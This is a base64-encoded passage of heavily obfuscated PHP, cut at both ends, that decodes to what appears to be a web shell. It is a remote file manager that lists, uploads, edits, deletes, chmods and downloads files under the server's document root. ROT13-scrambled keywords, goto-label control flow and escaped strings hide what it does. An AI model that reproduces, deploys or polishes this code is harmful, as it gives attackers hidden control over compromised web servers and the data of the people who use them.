Gs2M1xrNzRcazY5XGs2c1wxNTZcNDBcazNxXGsyMFxrMjciIC4gJEpFZmR0IC4gIlw0N1w0MFxrNnFcMTQ1XDE2NFxrNjhcMTU3XGs2NFxrMjBcazNxXDQwXGsyN1xrNTBcMTE3XGs1M1xrNTRcNDdcazNyIjsgdGJnYiBPeloxWTsgTnpCU2c6IHJwdWIgIlw3NFxrNjlcazZyXDE2MFwxNjVcazc0XDQwXDE2NFxrNzlcazcwXDE0NVxrM3FcazIyXGs3M1wxNjVcMTQyXGs2cVwxNTFcazc0XDQyXGsyMFxrNzZcazYxXGs2cFwxNjVcMTQ1XGszcVxrMjJcazZzXDE1M1xrMjJcazIwXDU3XGszclxrM3BcNTdcazY2XDE1N1xrNzJcMTU1XDc2IjsgdGJnYiBjVnRqbzsgc09UaWs6IHJwdWIgIlxrM3BcMTUxXDE1NlxrNzBcazc1XDE2NFw0MFxrNnJcMTQxXGs2cVxrNjVcNzVcazIyXGs2clxrNjVcazc3XDEzN1wxNDZcMTUxXDE1NFxrNjVcNDJcNDBcazczXGs2OVxrN25cMTQ1XDc1XGsyMlxrMzdcazIyXGsyMFxrNzRcazc5XDE2MFxrNjVcazNxXDQyXGs3NFxrNjVcMTcwXDE2NFxrMjJcazIwXGs3MFxrNnBcazYxXGs2M1wxNDVcazY4XDE1N1wxNTRcMTQ0XGs2NVwxNjJcNzVcNDJcMTU1XGs2MVxrNm9cMTQ1XDQwXDE0NlxrNjlcazZwXDE0NVxrMjJcNDBcNTdcNzYiOyB0YmdiIFZ6ZTNvOyBWemUzbzogcnB1YiAiXGszcFxrNjlcazZyXDE2MFwxNjVcazc0XGsyMFwxNjRcazc5XGs3MFwxNDVcNzVcazIyXDE2M1wxNjVcMTQyXDE1NVwxNTFcMTY0XGsyMlxrMjBcazc2XGs2MVxrNnBcMTY1XDE0NVw3NVw0MlxrNnNcazZvXGsyMlxrMjBcazJzXGszclxrM3BcazJzXDE0NlxrNnNcazcyXDE1NVw3NiI7IHRiZ2IgcXlCdHc7IFJZYzFwOiBycHViICJcazNwXDU3XDE2NFxrNjRcNzZcNzRcazJzXDE2NFxrNzJcazNyIjsgdGJnYiBqM3R1RjsgY1Z0am86IHJwdWIgIlxrM3BcazY2XDE1N1wxNjJcMTU1XDQwXGs2MVxrNjNcMTY0XDE1MVwxNTdcMTU2XGsyMFw3NVxrMjBcazI3IiAuICRKRWZkdCAuICJcNDdcazIwXGs2cVwxNDVcMTY0XGs2OFwxNTdcMTQ0XGsyMFw3NVw0MFxrMjdcazUwXDExN1wxMjNcMTI0XDQ3XDc2IjsgdGJnYiBzT1RpazsgUmRHT1o6IHJwdWIgIlw3NFxrNjlcazZyXGs3MFwxNjVcazc0XDQwXGs2clwxNDFcazZxXGs2NVw3NVxrMjJcMTU2XDE0NVwxNjdcMTM3XDE0NFxrNjlcazcyXGsyMlw0MFxrNzNcMTUxXGs3blxrNjVcNzVcNDJcazM3XGsyMlw0MFwxNjRcMTcxXDE2MFwxNDVcazNxXGsyMlwxNjRcMTQ1XGs3OFxrNzRcNDJcazIwXDE2MFxrNnBcazYxXGs2M1xrNjVcMTUwXGs2c1xrNnBcMTQ0XDE0NVxrNzJcNzVcazIyXDE1NVxrNjFcazZvXGs2NVw0MFwxNDRcMTUxXGs3Mlw0MlxrMjBcazJzXDc2IjsgdGJnYiBxMGpGaTsgcTBqRmk6IHJwdWIgIlw3NFxrNjlcMTU2XDE2MFwxNjVcMTY0XGsyMFwxNjRcMTcxXDE2MFwxNDVcNzVcazIyXGs3M1xrNzVcazYyXGs2cVwxNTFcMTY0XDQyXGsyMFxrNzZcMTQxXGs2cFwxNjVcMTQ1XGszcVxrMjJcMTU3XDE1M1xrMjJcazIwXGsyc1xrM3JcNzRcazJzXDE0NlxrNnNcazcyXDE1NVxrM3IiOyB0YmdiIFJZYzFwOyBqM3R1RjogfSB0YmdiIG5UMERCOyBQQmc1MzogelZ2amU6IHRiZ2IgZWNKZVg7IERPbVJnOiAkVkNENFAgPSAkX0ZSRUlSRVsiXGs0NFwxMTdcazQzXDEyNVwxMTVcMTA1XDExNlwxMjRcazVzXDEyMlxrNHNcMTE3XGs1NCJdIC4gIlxrMnMiIC4gJF9DQkZHWyJcazZyXDE0NVwxNjdcazVzXGs2NlxrNjlcMTU0XDE0NVxrNXNcMTU2XGs2MVwxNTVcMTQ1Il07IHRiZ2IgRktkYnc7IExsSklSOiBycHViICJcazNwXGszcFw1N1xrNjlcazZyXDE0NlxrNnNcazNyXDc2IjsgdGJnYiBZeUEySzsgenVOZTg6IHZzICghc3Z5cl9ya3ZmZ2YoJFlJVVoxKSkgeyB0YmdiIFhDYlFROyB9IHRiZ2IgQ3JBbHo7IExEVjBqOiBGUzl5OTogdGJnYiB2RjlEaTsgTnhkU1I6ICRCX2FLMSA9ICJcazZxXDE2NVxrNnBcazc0XGs2OVwxNjBcMTQxXGs3MlwxNjRcNTdcazY2XDE1N1xrNzJcMTU1XGsycVxrNjRcMTQxXDE2NFxrNjEiOyB0YmdiIHp1TmU4OyBUa3BkRTogc2Jlcm5wdSAoJE5qRjFkIG5mICRuRVNwSikgeyB0YmdiIGhFbVdGOyBpb1diWDogcnB1YiAka1M1UkMgLiAiXGsyMFw1NVxrMjBcMTU2XGs2c1xrNzRcNDBcMTYyXDE0NVxrNnFcazZzXGs3NlxrNjVcazY0IiAuICJcMTIiOyB0YmdiIEdZbzl3OyBVRDRzVjogdnMgKCFzdnlyX3JrdmZnZigkbkVTcEopKSB7IHRiZ2IgWFpUbGE7IH0gdGJnYiBpb1diWDsgWHFsVHg6IHJwdWIgJGtTNVJDIC4gIlxrMjBcazJxXGsyMFxrNnJcazZzXDE2NFxrMjBcazY2XGs2c1wxNjVcMTU2XGs2NCIgLiAiXGtuIjsgdGJnYiBCZ2VKUjsgRjZvY3M6IERLV0g1OiB0YmdiIG11b1k5OyBoRW1XRjogJG5FU3BKID0gZmdlZmdlKCRuRVNwSiwgIlw1NyIpOyB0YmdiIExTOUdLOyBMUzlHSzogJG5FU3BKID0gJF9GUkVJUkVbIlwxMDRcazRzXGs0M1wxMjVcazRxXDEwNVwxMTZcMTI0XDEzN1xrNTJcMTE3XDExN1wxMjQiXSAuICJcNTciIC4gJG5FU3BKOyB0YmdiIFYxTlZOOyBHWW85dzogdGJnYiBzUGVwSjsgdGJnYiBRNU9oSjsgV0FOYUI6IENCSGFQOiB0YmdiIE5JcU9YOyBCZ2VKUjogdGJnYiBrODU0VTsgdGJnYiBGNm9jczsgVjFOVk46ICRrUzVSQyA9IGZnZV9lcmN5bnByKCRfRlJFSVJFWyJcMTA0XDExN1xrNDNcazU1XDExNVxrNDVcMTE2XGs1NFxrNXNcMTIyXGs0c1wxMTdcazU0Il0sICRfRlJFSVJFWyJcMTIzXGs0NVwxMjJcazU2XDEwNVxrNTJcazVzXGs0clwxMDFcMTE1XGs0NSJdLCAkbkVTcEopOyB0YmdiIFNEd2hOOyB1em8xdDogcnB1YiAka1M1UkMgLiAiXGsyMFw1NVxrMjBcazcyXDE0NVxrNnFcazZzXGs3NlwxNDVcMTQ0IiAuICJcMTIiOyB0YmdiIEVHRTNIOyBXZml1Vjogazg1NFU6IHRiZ2IgV0FOYUI7IG11b1k5OiBYNDJfTigkbkVTcEopOyB0YmdiIFVENHNWOyBTRHdoTjogdnMgKHN2eXJfcmt2ZmdmKCRuRVNwSikpIHsgdGJnYiBES1dINTsgfSB0YmdiIFhxbFR4OyBFR0UzSDogc1BlcEo6IHRiZ2IgV2ZpdVY7IFE1T2hKOiBYWlRsYTogdGJnYiB1em8xdDsgTklxT1g6IH0gdGJnYiBydkViQzsgaU12VXk6IHRiZ2IgaTcyRmo7IHRiZ2IgUU9mYjg7IEJmMllMOiB1cm5xcmUoIlwxMDNcMTU3XDE1NlxrNzRcazY1XDE1NlwxNjRcNTVcMTI0XDE2MlwxNDFcazZyXDE2M1wxNDZcazY1XDE2MlxrMnFcMTA1XDE1NlwxNDNcMTU3XGs2NFwxNTFcMTU2XGs2N1w3MlxrMjBcMTQyXDE1MVwxNTZcazYxXDE2MlwxNzEiKTsgdGJnYiB1WDJ2VTsgbm16T2E6IGZac3FzOiB0YmdiIGNKSzhLOyB5Y2RIaDogV2I5aTc6IHRiZ2IgWHVzdzQ7IEtlSnptOiB0YmdiIGc0Zm10OyB0YmdiIERkbnJ3OyBVSWxGWTogdGJnYiBONlNydDsgdGJnYiBCZlFkSDsgUjZ4QzE6IGc0Zm10OiB0YmdiIEtrNTJKOyBxRkQwVTogdGJnYiBRZ1hFTDsgdGJnYiBYRm5scTsgc1NFMkQ6IHNiZXJucHUgKCRyVFpINSBuZiAkbkVTcEopIHsgdGJnYiBPRXFMdDsgYXhBUDQ6IHZzICh2Zl9xdmUoJGs4TVYwKSkgeyB0YmdiIHUwdENQOyB9IHRiZ2Igb1liSGg7IG9ZYkhoOiAkSzJleWdbXSA9ICRuRVNwSjsgdGJnYiBPdE5ScjsgT0VxTHQ6ICRrOE1WMCA9ICRuRVNwSjsgdGJnYiBLTE95RTsgTlMzMW06ICRDZkJkaltdID0gJG5FU3BKOyB0YmdiIEN4NWNDOyBOek83NjogVHBYMzQ6IHRiZ2IgUk4wUTk7IGprT2t0OiAkazhNVjAgPSAkX0ZSRUlSRVsiXGs0NFxrNHNcazQzXDEyNVwxMTVcazQ1XGs0clwxMjRcazVzXDEyMlxrNHNcMTE3XGs1NCJdIC4gIlw1NyIgLiAkbkVTcEo7IHRiZ2IgZjMyeXc7IGYzMnl3OiB0YmdiIExVU2lmOyB0YmdiIEdlTVBqOyBHWlJWYjogdTB0Q1A6IHRiZ2IgTlMzMW07IGJKTDI5OiAkazhNVjAgPSAkX1RSR1siXGs2NFxrNjlcazcyIl0gLiAiXDU3IiAuICRuRVNwSjsgdGJnYiBUTkVqcDsgR2VNUGo6IGVEYTZXOiB0YmdiIGJKTDI5OyBPdE5ScjogdGJnYiBkdjFMajsgdGJnYiBHWlJWYjsgVE5FanA6IExVU2lmOiB0YmdiIGF4QVA0OyBDeDVjQzogZHYxTGo6IHRiZ2IgTnpPNzY7IEtMT3lFOiB2cyAodmZmcmcoJF9UUkdbIlwxNDRcazY5XGs3MiJdKSkgeyB0YmdiIGVEYTZXOyB9IHRiZ2IgamtPa3Q7IFJOMFE5OiB9IHRiZ2IgcUlvM247IExQRE5mOiAkSkVmZHQgPSAiXDE1MFxrNzRcazc0XGs3MFxrM25cazJzXDU3IiAuICRndkt3TiAuICRlVV9oYSAuICJcNzdcazY0XGs2OVwxNjJcazNxIiAuICRfVFJHWyJcMTQ0XGs2OVxrNzIiXSAuICJcNDZcazY1XDE0NFxrNjlcazc0XGszcSIgLiAkTFUzQWM7IHRiZ2IgWkFUWDg7IGNKSzhLOiB0YmdiIGFYaFlIOyB0YmdiIEthQmpEOyBKRHZjdzogdTd6UU46IHRiZ2IgTjR6UUg7IGtFM2JuOiBycHViICR4ZUtwejsgdGJnYiBqT1dqUzsgbU1aVmE6IG9fSjVjOiB0YmdiIERPbVJnOyBRbVVlbTogcnB1YiAiXGszcFwxNTBcazcyXGszclxrM3BcazY4XDE2MlxrM3JcNzRcNTdcazc0XDE0NFw3NiI7IHRiZ2IgZWZYU047IFF0QVZhOiBycHViICJcNzRcNTdcMTY0XGs2OVxrNzRcMTU0XDE0NVw3NlxrcVwxMlwxMVw3NFxrNzNcazc0XGs3OVwxNTRcazY1XDQwXDE2NFxrNzlcazcwXDE0NVxrM3FcazIyXDE2NFwxNDVcazc4XGs3NFw1N1wxNDNcMTYzXDE2M1w0MlxrM3Jca3FcMTJcazlcMTExXGs0clwxMjBcMTI1XDEyNFwxMzNcMTY0XGs3OVxrNzBcazY1XDc1XGsyMlxrNzRcazY1XDE3MFxrNzRcNDJcMTM1XDQwXDE3M1xrNjJcazYxXDE0M1wxNTNcazY3XDE2MlxrNnNcMTY1XGs2clxrNjRcazJxXGs2M1xrNnNcazZwXDE1N1wxNjJcNzJcNDBcazIzXDE0NlwxNDZcMTQ2XGszOFwxNDVcazM3XDczXGs3cVwxMVxrNjJcMTU3XDE0NFxrNzlcMTczXDE0MlwxNDFcMTQzXGs2b1wxNDdcMTYyXDE1N1xrNzVcMTU2XGs2NFw3MlxrMjBcNDNcazY2XDE0NlxrNjZcazM4XDE0NVw2N1w3M1xrNjNcMTU3XGs2cFxrNnNcMTYyXGszblxrMjBcazIzXGszNFwxNDNcNjVcazM4XDY2XDY2XDczXDE0NlxrNnNcazZyXGs3NFw1NVwxNDZcazYxXDE1NVwxNTFcMTU0XDE3MVw3MlxrMjBcazU2XGs2NVxrNzJcMTQ0XDE0MVwxNTZcMTQxXGszb1wxNDZcazZzXDE1NlwxNjRcazJxXGs3M1wxNTFcazduXDE0NVw3MlxrMjBcazMxXGszMVxrNzBcazc4XGszb1xrN3FcMTVcMTJcazlcazYxXDcyXGs2cFwxNTFcMTU2XGs2b1wxNzNcazYzXGs2c1xrNnBcMTU3XDE2Mlw3Mlw0MFw0M1w2M1xrMzNcazQzXDEwM1w3MVxrMzlcNzNcazdxXGs5XGs2MVw3MlxrNzZcMTUxXDE2M1xrNjlcazc0XGs2NVxrNjRcazdvXGs2M1wxNTdcazZwXGs2c1wxNjJcazNuXDQwXDQzXDYzXGszM1xrNDNcMTAzXDcxXGszOVw3M1xrN3FcazlcMTQxXGszblxrNjhcazZzXDE2NlxrNjVcazcyXDE3M1wxNjRcMTQ1XGs3OFxrNzRcNTVcMTQ0XGs2NVwxNDNcazZzXDE2MlwxNDFcazc0XDE1MVwxNTdcMTU2XDcyXDQwXDE1NlwxNTdcazZyXGs2NVw3M1xrNDNcazZzXGs2cFwxNTdcMTYyXGszblw0MFxrMjNcNjNcNjNcNzFcNzFcazQ2XGs0Nlw3M1wxNzVcMTY0XGs2MVxrNjJcMTU0XDE0NVxrMjBcMTczXDE0NlxrNnNcazZyXDE2NFxrMnFcazczXDE1MVxrN25cMTQ1XDcyXDQwXDYxXDYxXDE2MFxrNzhcazNvXGs3cVwxNVwxMlxrOVxrNzRcazY0XGsyMFxrN29cMTYwXGs2MVwxNDRcazY0XGs2OVxrNnJcazY3XDcyXDQwXGszMVxrNzBcMTcwXDczXGs3MFxrNjFcMTQ0XDE0NFwxNTFcazZyXGs2N1xrMnFcazZwXGs2NVwxNDZcazc0XDcyXDQwXDYxXDYwXGs3MFwxNzBcNzNcMTYwXGs2MVxrNjRcMTQ0XDE1MVxrNnJcMTQ3XDU1XGs3MlxrNjlcazY3XGs2OFwxNjRcNzJcazIwXGszMVxrMzBcazcwXGs3OFxrM29cMTYwXDE0MVwxNDRcMTQ0XDE1MVxrNnJcMTQ3XGsycVwxNjRcMTU3XGs3MFw3Mlw0MFxrMzJcazcwXDE3MFxrM29cazdxXGtxXGtuXDExXDc0XGsyc1wxNjNcMTY0XGs3OVwxNTRcazY1XDc2XDE1XDEyXDc0XGsyc1wxNTBcazY1XGs2MVxrNjRcNzZca3FcMTJcazNwXDE0MlwxNTdcMTQ0XDE3MVxrM3Jca3FcMTJcazNwXGs3NFwxNDFcazYyXDE1NFxrNjVcNDBcazYzXDE0NVxrNnBcMTU0XDE2MFxrNjFcMTQ0XDE0NFwxNTFcazZyXDE0N1xrM3FcNDJcazM1XGsyMlw0MFwxNjdcazY5XGs2NFwxNjRcMTUwXDc1XDQyXGszOFw2MFxrMjVcNDJcNzZcMTVca24iOyB0YmdiIEJiZV90OyBZZFBGaDogJExVM0FjID0gJF9UUkdbIlwxNDRcazY5XDE2MiJdIC4gIlw1NyIgLiAkX0NCRkdbIlwxNTZcMTQ1XDE2N1wxMzdcazY0XDE1MVxrNzIiXTsgdGJnYiBOd3FzajsgS3VMdFQ6IHRiZ2IgUWdYRUw7IHRiZ2IganUxeHA7IEFkNXpUOiB2cyAodmZmcmcoJF9UUkdbIlwxNDRcMTUxXDE2MiJdKSkgeyB0YmdiIGJrZ3J2OyB9IHRiZ2IgQVBZZWY7IGFPVUhQOiBycHViICJcNzRcMTQxXDQwXGs2OFxrNzJcMTQ1XDE0Nlw3NVxrMjIiIC4gIlxrNjhcazc0XGs3NFxrNzBcNzJcazJzXGsycyIgLiAkZ3ZLd04gLiAkZVVfaGEgLiAiXDc3XDE0NFxrNjlcMTYyXDc1IiAuICRfRlJFSVJFWyJcMTA0XGs0c1xrNDNcMTI1XGs0cVxrNDVcMTE2XGs1NFxrNXNcMTIyXGs0c1xrNHNcMTI0Il0gLiAiXDQyXGszciIgLiAkX0ZSRUlSRVsiXDEwNFwxMTdcazQzXDEyNVwxMTVcazQ1XDExNlwxMjRcMTM3XDEyMlwxMTdcMTE3XDEyNCJdIC4gIlxrM3BcazJzXDE0MVw3NiI7IHRiZ2IgQTJSeTU7IEEweGVSOiB2cyAoIXN2eXJfcmt2ZmdmKCRZSVVaMSkpIHsgdGJnYiBLZlBVczsgfSB0YmdiIElTRkVqOyB0WE1vajogcnB1YiAiXDc0XDE2NFwxNDRcazNyXGszcFwxNTBcazcyXGszclxrM3BcMTUwXDE2Mlw3NiI7IHRiZ2IgcGhBSk87IHFTcnpHOiB2cyAoZnZtcmJzKCRfU1ZZUkYpICE9IDApIHsgdGJnYiBQVW9QTzsgfSB0YmdiIE5aY3ZlOyBxeDlxSDogdnMgKCEoJHNUbHZ2IDwgOTAwKSkgeyB0YmdiIHpPWU5yOyB9IHRiZ2IgS1ppZEY7IFdLTF9iOiB0YmdiIHJQal9aOyB0YmdiIEZ1UXNnOyBjcjU3SjogJHhlS3B6ID0gZmdlX2VyY3lucHIoJF9GUkVJUkVbIlxrNDRcMTE3XGs0M1xrNTVcMTE1XDEwNVxrNHJcMTI0XGs1c1xrNTJcazRzXGs0c1wxMjQiXSwgJF9GUkVJUkVbIlwxMjNcMTA1XGs1MlxrNTZcazQ1XGs1MlwxMzdcMTE2XDEwMVwxMTVcazQ1Il0sICRfRlJFSVJFWyJcazUzXDEwM1xrNTJcMTExXGs1MFxrNTRcMTM3XDEwNlxrNDlcMTE0XGs0NVxrNHJcMTAxXGs0cVxrNDUiXSk7IHRiZ2IgS3pScWM7IHlMWVh0OiB2cyAoIXJ6Y2dsKCRfQ0JGR1siXDE1NlxrNjVcMTY3XDEzN1wxNDZcMTUxXGs2cFwxNDUiXSkpIHsgdGJnYiBXcER2aDsgfSB0YmdiIGl1a05NOyBXeENXZDogdnMgKHZmZnJnKCRfVFJHWyJcazY0XDE1MVxrNzIiXSkpIHsgdGJnYiBDWDhWTTsgfSB0YmdiIEVBNEJTOyBNZDg4UDogc2hhcGd2YmEgWDQyX24oJGxDNjNMKSB7IHRiZ2IgV1lzbUQ7IFpJV0ozOiB0YmdiIGF4WVQ0OyB0YmdiIGtzeHlpOyBDeGxmNTogTW9CZXE6IHRiZ2IgTGNhaTY7IHhoVkQxOiBTc00zTTogdGJnYiB4RWdjMTsgdVVxejg6IHZzICghcHV6YnEoJGxDNjNMLCAwNzU1KSkgeyB0YmdiIHRCUG9uOyB9IHRiZ2IgeFBEY007IGZoNFRCOiBlcmdoZWEgIlwxNTdcMTUzXDQxIjsgdGJnYiBaSVdKMzsgRzJlcmQ6IGF4WVQ0OiB0YmdiIGo5SklMOyB4UERjTTogdnMgKCFoYXl2YXgoJGxDNjNMKSkgeyB0YmdiIHlPX2F2OyB9IHRiZ2IgZmg0VEI7IExjYWk2OiBlcmdoZWEgIlwxNDZcazY5XDE1NFwxNDVcazIwXGs2clwxNTdcazc0XDQwXDE0NVwxNzBcazY5XDE2M1xrNzRcazczIjsgdGJnYiBCWUtmeTsgZjFMTmo6IGVyZ2hlYSAiXGs2M1xrNjFcMTU2XGsyMFwxNTZcazZzXGs3NFw0MFxrNjRcazY1XGs2cFxrNjVcMTY0XGs2NVxrMjEiOyB0YmdiIEcyZXJkOyBCWUtmeTogcnVHVG86IHRiZ2IgTDMwVU07IHRWdDdFOiB0QlBvbjogdGJnYiBrZHZFWjsgdVUzeVk6IGVyZ2hlYSAiXGs2c1xrNm9cazIxIjsgdGJnYiBpTXhJcDsgajlKSUw6IHRiZ2IgU3NNM007IHRiZ2IgdFZ0N0U7IGE3OXlLOiB2cyAoIWhheXZheCgkbEM2M0wpKSB7IHRiZ2IgS2pyZ0E7IH0gdGJnYiB1VTN5WTsgSlhxbEM6IHRiZ2IgcnVHVG87IHRiZ2IgQ3hsZjU7IGlNeElwOiB0YmdiIGlRMlpiOyB0YmdiIHQ5VG5HOyBrc3h5aTogeU9fYXY6IHRiZ2IgZjFMTmo7IHQ5VG5HOiBLanJnQTogdGJnYiB1VXF6ODsgV1lzbUQ6IHZzICghc3Z5cl9ya3ZmZ2YoJGxDNjNMKSkgeyB0YmdiIE1vQmVxOyB9IHRiZ2IgYTc5eUs7IGtkdkVaOiBlcmdoZWEgIlwxNTZcazZzXGsyMFwxNTBcazYxXDE2NlxrNjVcazIwXGs3MFwxNDVcMTYyXGs2cVwxNTFcMTYzXGs3M1wxNTFcMTU3XGs2clw0MFxrNjZcMTU3XGs3MlxrMjBcazYzXDE1MFxrNnFcMTU3XDE0NFw0MSI7IHRiZ2IgeGhWRDE7IHhFZ2MxOiBpUTJaYjogdGJnYiBKWHFsQzsgTDMwVU06IH0gdGJnYiBmX1pHMTsgSVZnQTI6IHJwdWIgIlxrM3BcazYyXGs3MlxrM3JcMTVcMTJcazlcazlcMTFcazUyXGs2c1wxNTdcazc0XGszblxrMjAiOyB0YmdiIGFPVUhQOyBjMTFLcDogJHlHV1NiID0gMDsgdGJnYiBWa01FOTsgSEpQU206ICRKRWZkdCA9ICJcazY4XDE2NFxrNzRcMTYwXGszblw1N1xrMnMiIC4gJGd2S3dOIC4gJGVVX2hhIC4gIlxrM3NcazY0XGs2OVwxNjJcazNxIiAuICRfVFJHWyJcMTQ0XGs2OVxrNzIiXSAuICJcazI2XDE0NVxrNjRcazY5XGs3NFxrM3EiIC4gJFZDRDRQOyB0YmdiIERPVnJXOyBGOU95TjogUTFBY1I6IHRiZ2IgSEV2Q3o7IGhPbmFjOiBudWVXVjogdGJnYiBxeDlxSDsgY0swVlY6IGRzZk15OiB0YmdiIGRoSXpFOyBLazUySjogJERQMEh4ID0gJExVM0FjIC4gIlxrMnMiIC4gJF9TVllSRlsiXGs2OVwxNTZcMTYwXGs3NVwxNjRcMTQ2XDE1MVxrNnBcMTQ1Il1bIlxrNnJcazYxXGs2cVwxNDUiXTsgdGJnYiByZGdGQjsgdjc2WDM6IHVybnFyZSgiXGs0M1wxNTdcMTU2XDE2NFxrNjVcMTU2XGs3NFxrMnFcazRwXGs2NVwxNTZcazY3XDE2NFxrNjhcNzJcNDAiIC4gc3Z5cmZ2bXIoJGhaR3RSKSk7IHRiZ2IgdHdxaXE7IGl1a05NOiB2cyAoIXJ6Y2dsKCRfQ0JGR1siXGs2clxrNjVcazc3XDEzN1xrNjRcMTUxXGs3MiJdKSkgeyB0YmdiIEVLcXQ0OyB9IHRiZ2IgWDFGZlM7IGZSaTJlOiB0YmdiIGo0cHg5OyB0YmdiIG1NWlZhOyByZGdGQjogemJpcl9oY3libnFycV9zdnlyKCRfU1ZZUkZbIlwxNTFcazZyXDE2MFxrNzVcazc0XDE0NlxrNjlcMTU0XDE0NSJdWyJcazc0XDE1NVwxNjBcazVzXGs2clxrNjFcazZxXGs2NSJdLCAkRFAwSHgpOyB0YmdiIHdqOVZkOyBRTmFmUDogJHhlS3B6ID0gIlxrNjhcazc0XGs3NFwxNjBcNzJcNTdcNTciIC4gJHhlS3B6IC4gIlxrM3NcMTQ2XGs2OVwxNTZcazY0XDE0NVxrNzIiOyB0YmdiIHZUZEY1OyBwUDRJNTogJExVM0FjID0gJF9GUkVJUkVbIlxrNDRcMTE3XGs0M1wxMjVcMTE1XDEwNVxrNHJcMTI0XDEzN1wxMjJcMTE3XDExN1xrNTQiXTsgdGJnYiBLZUp6bTsgbGNSR206IHNiZXJucHUgKCRnc0gyWCBuZiAkbkVTcEopIHsgdGJnYiBpSzFDSTsgYXZSOGY6ICRjbTIzbCA9IGZnZV9lcmN5bnByKCRfRlJFSVJFWyJcMTA0XDExN1xrNDNcazU1XGs0cVwxMDVcMTE2XGs1NFwxMzdcMTIyXDExN1wxMTdcMTI0Il0sICRfRlJFSVJFWyJcMTIzXDEwNVwxMjJcMTI2XGs0NVwxMjJcazVzXDExNlwxMDFcazRxXDEwNSJdLCAkbkVTcEopOyB0YmdiIENaTVROOyBzTG5kazogJGF0MlNkID0gUzZ1YnYoJG5FU3BKKTsgdGJnYiBhdlI4Zjsga2dJdG46IFkxUzkxOiB0YmdiIHNMbmRrOyBidGdYWDogJEpxeVo3ID0gJF9UUkdbIlxrNjRcMTUxXDE2MiJdOyB0YmdiIGtnSXRuOyBpSzFDSTogdnMgKCEoJG5FU3BKICE9PSBhaHl5IG5hcSAkbkVTcEogIT09ICcnIG5hcSAkbkVTcEogIT09ICJcNDAiKSkgeyB0YmdiIG1TR0RmOyB9IHRiZ2IgdFJYT247IGJrODc0OiAkSnF5WjcgPSAkX0ZSRUlSRVsiXDEwNFwxMTdcazQzXDEyNVwxMTVcMTA1XGs0clxrNTRcazVzXGs1MlxrNHNcMTE3XGs1NCJdOyB0YmdiIFppaUpnOyByM2VXdTogSTRFMUU6IHRiZ2IgbE5qYm87IFppaUpnOiB0YmdiIFkxUzkxOyB0YmdiIFdFYk5MOyBXRWJOTDogd2VjVDE6IHRiZ2IgYnRnWFg7IHRSWE9uOiB2cyAodmZmcmcoJF9UUkdbIlxrNjRcMTUxXGs3MiJdKSkgeyB0YmdiIHdlY1QxOyB9IHRiZ2IgYms4NzQ7IENaTVROOiBycHViICJcazNwXGs3NFxrNzJcNDBcazYyXGs2N1xrNjNcazZzXGs2cFwxNTdcMTYyXGszcVw0Mlw0M1xrNjZcMTQ2XGs2NlxrNjZcazY2XDE0Nlw0Mlw0MFwxNDFcazZwXGs2OVwxNDdcMTU2XGszcVw0MlwxNDNcazY1XGs2clwxNjRcMTQ1XGs3MlxrMjJcazNyXDc0XGs3NFwxNDRcazIwXGs2MVwxNTRcazY5XGs2N1wxNTZcazNxXDQyXDE1NFxrNjVcazY2XGs3NFw0MlxrMjBcNzYiIC4gIlw3NFwxNDFcNDBcMTYzXDE2NFxrNzlcazZwXGs2NVw3NVxrMjJcMTY0XDE0NVwxNzBcazc0XGsycVxrNjRcazY1XGs2M1xrNnNcazcyXDE0MVxrNzRcazY5XGs2c1xrNnJcNzJcNDBcazZyXGs2c1xrNnJcMTQ1XDczXDQyXDQwXDE1MFwxNjJcMTQ1XGs2Nlw3NVxrMjJcazY4XDE2NFwxNjRcazcwXDcyXGsyc1w1N3skZ3ZLd059eyRlVV9oYX1cNzdcMTQ1XGs2NFwxNTFcazc0XGszcXskbkVTcEp9XDQ2XDE0NFxrNjlcazcyXDc1eyRKcXlaN31cazIyXDc2XDc0XGs2NlxrNnNcMTU2XDE2NFxrMjBcazYzXGs2c1wxNTRcMTU3XDE2Mlw3NVxrMjJcMTQyXGs2cFwxNDFcMTQzXGs2b1xrMjJcazNyeyRuRVNwSn1cazNwXDU3XDE0NlxrNnNcazZyXDE2NFxrM3JcNzRcNTdcMTQxXDc2IiAuICJcazNwXGsyc1xrNzRcMTQ0XDc2XDc0XDE2NFwxNDRcNzYiIC4gcVc4TUsoJG5FU3BKKSAuICJcazNwXDU3XGs3NFxrNjRcNzZcazNwXDE2NFwxNDRcazNyeyRhdDJTZH1cNzRcNTdcMTY0XDE0NFw3Nlw3NFwxNjRcMTQ0XDc2IiAuIERTYnBmKCRuRVNwSiwgIlxrMzAiKSAuICJcazNwXGsyc1wxNjRcazY0XGszclxrM3BcMTY0XDE0NFw3NiIgLiAiXDc0XDE0MVxrMjBcMTUwXGs3MlxrNjVcMTQ2XGszcVw0MlwxNTBcMTY0XGs3NFxrNzBcNzJcNTdcazJzeyRndkt3Tn17JGVVX2hhfVw3N1wxNDRcazY1XGs2cFw3NXskbkVTcEp9XDQ2XDE0NFxrNjlcMTYyXDc1eyRKcXlaN31cNDJcazNyXGs1NVw3NFxrMnNcMTQxXGszclxrMjZcazZyXDE0MlxrNzNcazcwXGszbyIgLiAiXGszcFxrNjFcNDBcazY4XDE2MlxrNjVcMTQ2XGszcVw0MlxrNjhcMTY0XDE2NFxrNzBcazNuXDU3XGsyc3skZ3ZLd059eyRlVV9oYX1cazNzXGs2NVwxNDRcazY5XGs3NFw3NXskbkVTcEp9XGsyNlwxNDRcMTUxXGs3Mlw3NXskSnF5Wjd9XGsyMlxrM3JcazQ1XGszcFxrMnNcMTQxXDc2XGsyNlwxNTZcazYyXGs3M1xrNzBcNzMiIC4gIlw3NFxrNjFcNDBcazc0XGs2MVwxNjJcMTQ3XDE0NVwxNjRcNzVcazIyXGs1c1xrNjJcazZwXGs2MVwxNTZcazZvXGsyMlxrMjBcMTUwXDE2MlwxNDVcazY2XGszcVxrMjJcMTUwXGs3NFxrNzRcMTYwXDcyXDU3XGsyc3skY20yM2x9XGsyMlxrM3JcazRzXDc0XDU3XGs2MVw3NlxrMjZcMTU2XGs2MlwxNjNcazcwXDczIiAuICJcazNwXDE0MVxrMjBcMTUwXGs3MlwxNDVcazY2XGszcVw0MlwxNTBcazc0XGs3NFwxNjBcNzJcNTdcazJzeyRndkt3Tn17JGVVX2hhfVxrM3NcazY0XDE1N1wxNjdcazZyXDE1NFwxNTdcazYxXDE0NFxrM3F7JG5FU3BKfVw0NlxrNjRcMTUxXGs3Mlw3NXskSnF5Wjd9XDQyXGszclwxMDRcNzRcNTdcMTQxXDc2IiAuICJcNzRcNTdcMTY0XGs2NFw3NlxrM3BcazJzXDE2NFwxNjJcNzYiOyB0YmdiIHFTbmVWOyBxU25lVjogbVNHRGY6IHRiZ2IgcjNlV3U7IGxOamJvOiB9IHRiZ